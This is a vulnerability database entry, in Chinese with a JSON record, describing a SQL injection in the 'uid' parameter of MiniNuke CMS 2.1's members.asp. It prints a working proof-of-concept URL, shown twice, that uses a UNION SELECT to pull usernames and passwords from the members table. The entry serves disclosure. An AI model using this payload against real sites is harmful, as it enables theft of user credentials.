Search...

MiniNuke 'members.asp' SQL注入漏洞

2008-02-28T00:00:00

ID SSV:2961
Type seebug
Reporter Root
Modified 2008-02-28T00:00:00

Description

BUGTRAQ ID: 28000 CNCAN ID:CNCAN-2008022803

MiniNuke是一款基于ASP的WEB应用程序。 MiniNuke不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。问题是由于'members.asp'脚本对用户提交的'uid'参数处理缺少充分过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。

MiniNuke MiniNuke CMS 2.1 目前没有详细解决方案提供： <a href=http://www.miniex.net/ target=_blank>http://www.miniex.net/</a>

                                        
                                            
                                                http://www.example.com/members.asp?action=member_details&amp;amp;uid=members.asp?action=member_details&amp;amp;uid=-1%20union%20select%200,sifre,0,0,0,0,0,kul_adi,0,sifre,kul_adi,sifre,1,1,1,sifre,1,1,1,isim,1,1,1,1,1,1,1,1%20from%20members&nbsp;&lt;br

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-2961", "status": "poc,details", "bulletinFamily": "exploit", "modified": "2008-02-28T00:00:00", "title": "MiniNuke 'members.asp' SQL\u6ce8\u5165\u6f0f\u6d1e", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-2961", "cvelist": [], "description": "BUGTRAQ ID: 28000 \r\nCNCAN ID:CNCAN-2008022803 \r\n\r\nMiniNuke\u662f\u4e00\u6b3e\u57fa\u4e8eASP\u7684WEB\u5e94\u7528\u7a0b\u5e8f\u3002 \r\nMiniNuke\u4e0d\u6b63\u786e\u8fc7\u6ee4\u7528\u6237\u63d0\u4ea4\u7684URI\u6570\u636e\uff0c\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u6f0f\u6d1e\u8fdb\u884cSQL\u6ce8\u5165\u653b\u51fb\uff0c\u53ef\u83b7\u5f97\u654f\u611f\u4fe1\u606f\u6216\u64cd\u4f5c\u6570\u636e\u5e93\u3002 \r\n\u95ee\u9898\u662f\u7531\u4e8e'members.asp'\u811a\u672c\u5bf9\u7528\u6237\u63d0\u4ea4\u7684'uid'\u53c2\u6570\u5904\u7406\u7f3a\u5c11\u5145\u5206\u8fc7\u6ee4\uff0c\u63d0\u4ea4\u6076\u610fSQL\u67e5\u8be2\u4f5c\u4e3a\u53c2\u6570\u6570\u636e\uff0c\u53ef\u66f4\u6539\u539f\u6765\u7684SQL\u903b\u8f91\uff0c\u83b7\u5f97\u654f\u611f\u4fe1\u606f\u6216\u64cd\u4f5c\u6570\u636e\u5e93\u3002 \r\n\r\n\n\nMiniNuke MiniNuke CMS 2.1 \n \u76ee\u524d\u6ca1\u6709\u8be6\u7ec6\u89e3\u51b3\u65b9\u6848\u63d0\u4f9b\uff1a \r\n<a href=http://www.miniex.net/ target=_blank>http://www.miniex.net/</a>", "viewCount": 3, "published": "2008-02-28T00:00:00", "sourceData": "\n http://www.example.com/members.asp?action=member_details&amp;uid=members.asp?action=member_details&amp;uid=-1%20union%20select%200,sifre,0,0,0,0,0,kul_adi,0,sifre,kul_adi,sifre,1,1,1,sifre,1,1,1,isim,1,1,1,1,1,1,1,1%20from%20members <br \n ", "id": "SSV:2961", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T21:46:48", "reporter": "Root", "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2017-11-19T21:46:48", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T21:46:48", "rev": 2}, "vulnersScore": -0.0}, "references": []}